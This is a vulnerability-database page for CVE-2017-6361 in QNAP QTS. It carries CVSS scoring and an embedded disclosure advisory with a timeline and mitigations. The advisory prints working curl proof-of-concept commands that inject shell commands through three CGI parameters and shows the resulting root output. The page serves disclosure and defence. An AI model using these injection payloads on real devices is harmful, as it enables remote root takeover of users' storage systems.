CVE-2017-6361 : Detail

CVE-2017-6361

9.8
/
Critical
OS Command Injection
A03-Injection
94.11%V3
Network
2017-03-23
15h00 +00:00
2017-08-15
07h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

QNAP QTS before 4.2.4 Build 20170313 allows attackers to execute arbitrary commands via unspecified vectors.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 9.8 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 41842

Publication date : 2017-04-06 22h00 +00:00
Author : Harry Sintonen
EDB Verified : Yes

QNAP QTS multiple RCE vulnerabilities ===================================== The latest version of this advisory is available at: https://sintonen.fi/advisories/qnap-qts-multiple-rce-vulnerabilities.txt Overview -------- QNAP QTS firmware contains multiple Command Injection (CWE-77) vulnerabilities that can be exploited to gain remote command execution on the devices. Description ----------- QNAP QTS web user interface CGI binaries include Command Injection (CWE-77) vulnerabilities. An unauthenticated attacker can execute arbitrary commands on the targeted device. Impact ------ The attacker is able to execute arbitrary commands as administrative user (root). The attacker has full access to all content on the targeted device, and can read, modify or remove content at will. Details ------- The discovered vulnerabilities, described in more detail below, enable multiple independent attacks described here in brief: - Unauthenticated Remote Command Execution The unauthenticated attacker can perform HTTP requests that exploit the vulnerability to execute arbitrary commands. If the device is connected to the internet, the vulnerable devices can be taken over in an automated fashion and can then be used for further attacks. - Authenticated Remote Command Execution The authenticated attacker can perform HTTP requests that exploit the vulnerabilities to execute arbitrary commands. This gives users that normally have only restricted access to the device full administrative (root) access to the system and access to all data stored on the device regardless of the specified access limitations. Vulnerabilities --------------- 1. [CVE-2017-6361] Command Injection in authLogin.cgi `reboot_notice_msg' (CWE-77) /cgi-bin/authLogin.cgi CGI has a command injection bug. The following commands are executed via system(): /sbin/vjbod_util -i '%s' 1>>/dev/null 2>&1 /sbin/vdd_control "%s" %d 2>>/dev/null 2>>/dev/null The value inserted to %s is obtained from the `reboot_notice_msg' HTTP request GET parameter. The reboot_notice_msg is a base64 encoded message of form: QNAPVJBDTTTTTTTTCCCCCCCCCCCCCCCCLLLLPAYLOAD - TTTTTTTT is the unix time stamp (last 8 digits) - CCCCCCCCCCCCCCCC is the command to perform (Disconnect) - LLLL is the payload length - PAYLOAD is the payload contents (LLLL bytes) By creating a crafted reboot_notice_msg value, arbitrary commands can be executed. For example: QNAPVJBD88150863 Disconnect 14`(echo;id)>&2` $ curl -ki "https://TARGET/cgi-bin/authLogin.cgi?reboot_notice_msg=$(printf 'QNAPVJBD%08d%16s 14`(echo;id)>&2`' $(expr $(date +%s) % 100000000) Disconnect|base64|tr -d '\r\n')" uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone) Content-type: text/xml <?xml version="1.0" encoding="UTF-8" ?> <QDocRoot version="1.0"> <command>Disconnect</command> <payload>`(echo;id)>&2`</payload> </QDocRoot> $ 2. [CVE-2017-6360] Command Injection in userConfig.cgi cloudPersonalSmtp `hash' (CWE-77) /cgi-bin/userConfig.cgi CGI has a command injection bug. The following command is executed via popen(): /sbin/cloud_util -r %s 2>/dev/null The value inserted to %s is obtained from the `hash' HTTP request GET parameter. An authenticated user can use a specially crafted hash parameter to execute arbitrary commands as root: $ curl -ki 'https://TARGET/cgi-bin/userConfig.cgi?func=cloudPersonalSmtp&sid=SIDVALUE&hash=`(echo;id;uname%20-a)>%262`' HTTP/1.1 200 OK Date: Sun, 26 Feb 2017 22:55:48 GMT Transfer-Encoding: chunked Content-Type: text/plain uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone) Linux TARGET 3.12.6 #1 SMP Mon Feb 13 01:43:01 CST 2017 x86_64 unknown Content-type: text/html; charset="UTF-8" Usage: /sbin/cloud_util -r [enc_token] $ 3. [CVE-2017-6359] Command Injection in utilRequest.cgi cancel_trash_recovery `pid' (CWE-77) /cgi-bin/filemanager/utilRequest.cgi CGI has a command injection bug. The following commands are executed via system(): /bin/kill -9 %s The value inserted to %s is obtained from the `pid' HTTP request GET parameter. An authenticated user can use a specially crafted pid parameter to execute arbitrary commands as root: $ curl -k 'https://TARGET/cgi-bin/filemanager/utilRequest.cgi?func=cancel_trash_recovery&sid=SIDVALUE&pid=`id>/tmp/pwned`' { "version": "4.2.1", "build": "20170213", "status": 0, "success": "true" } [~] # cat /tmp/pwned uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone) [~] # Vulnerable devices ------------------ The vulnerabilities were discovered from an QNAP TVS-663, firmware version 4.2.2 Build 20161214. They're also confirmed to work with version 4.2.3 Build 20170213. CVE-2017-6361 was also confirmed on QNAP HS-251+ running QTS 4.2.2 Build 20161028. It is believed that these vulnerabilities affect all devices running QTS. Recommendations to vendor ------------------------- 1. Fix the command injection vulnerabilities by performing proper input validation (whitelisting) and/or shell metacharacter escaping, or by utilizing execl family of functions. End user mitigation ------------------- - Install the firmware update version 4.2.4 build 20170313 or later. OR - Restrict access to the web user interface (ports 8080 and 443). Credits ------- The vulnerabilities were discovered by Harry Sintonen / F-Secure Corporation. Timeline -------- 21.01.2017 discovered vulnerabilities 2 and 3 23.02.2017 discovered vulnerability 1 23.02.2017 reported vulnerability 1 to the vendor 26.02.2017 started to write a preliminary advisory 27.02.2017 sent the preliminary advisory to vendor and CERT-FI 27.02.2017 requested CVE-IDs from MITRE 28.02.2017 received CVE-IDs from MITRE 02.03.2017 inquired status from vendor contact 02.03.2017 vendor confirmed CVE-2017-6361 04.03.2017 vendor confirmed the other two vulnerabilities 13.03.2017 vendor communicated about a upcoming release fixing the vulns 14.03.2017 vendor released QTS 4.2.4 build 20170313 fixing the vulns 15.03.2017 sent update to CERT-FI 21.03.2017 vendor released NAS-201703-21 advisory: https://www.qnap.com/en/support/con_show.php?cid=113 06.04.2017 public release of the advisory

Products Mentioned

Configuraton 0

Qnap>>Qts >> Version To (including) 4.2.4

References

http://www.securityfocus.com/bid/97072
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/41842/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securitytracker.com/id/1038091
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/97059
Tags : vdb-entry, x_refsource_BID